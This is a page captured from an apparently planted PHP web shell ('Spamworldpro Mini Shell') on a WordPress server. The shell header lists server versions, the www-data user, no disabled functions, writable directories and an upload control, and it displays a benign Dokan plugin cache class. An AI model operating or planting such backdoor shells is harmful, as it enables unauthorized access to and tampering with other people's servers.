Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /var/www/theprintave/wp-content/plugins/dokan-lite/includes/ReverseWithdrawal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/theprintave/wp-content/plugins/dokan-lite/includes/ReverseWithdrawal/Cache.php
<?php
namespace WeDevs\Dokan\ReverseWithdrawal;

use WeDevs\Dokan\Cache as BaseCache;

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

/**
 * @package WeDevs\Dokan\ReverseWithdrawal
 *
 * @since 3.5.1
 */
class Cache {

    /**
     * Class constructor
     *
     * @since 3.5.1
     */
    public function __construct() {
        add_action( 'dokan_reverse_withdrawal_created', [ $this, 'clear_cache' ], 10, 1 );
    }

    /**
     * Clear cache
     *
     * @since 3.5.1
     *
     * @param array $data
     *
     * @return void
     */
    public function clear_cache( $data ) {
        BaseCache::invalidate_group( 'reverse_withdrawal' );
        if ( ! empty( $data['vendor_id'] ) ) {
            BaseCache::invalidate_group( "reverse_withdrawal_{$data['vendor_id']}" );
        }
    }

}

Spamworldpro Mini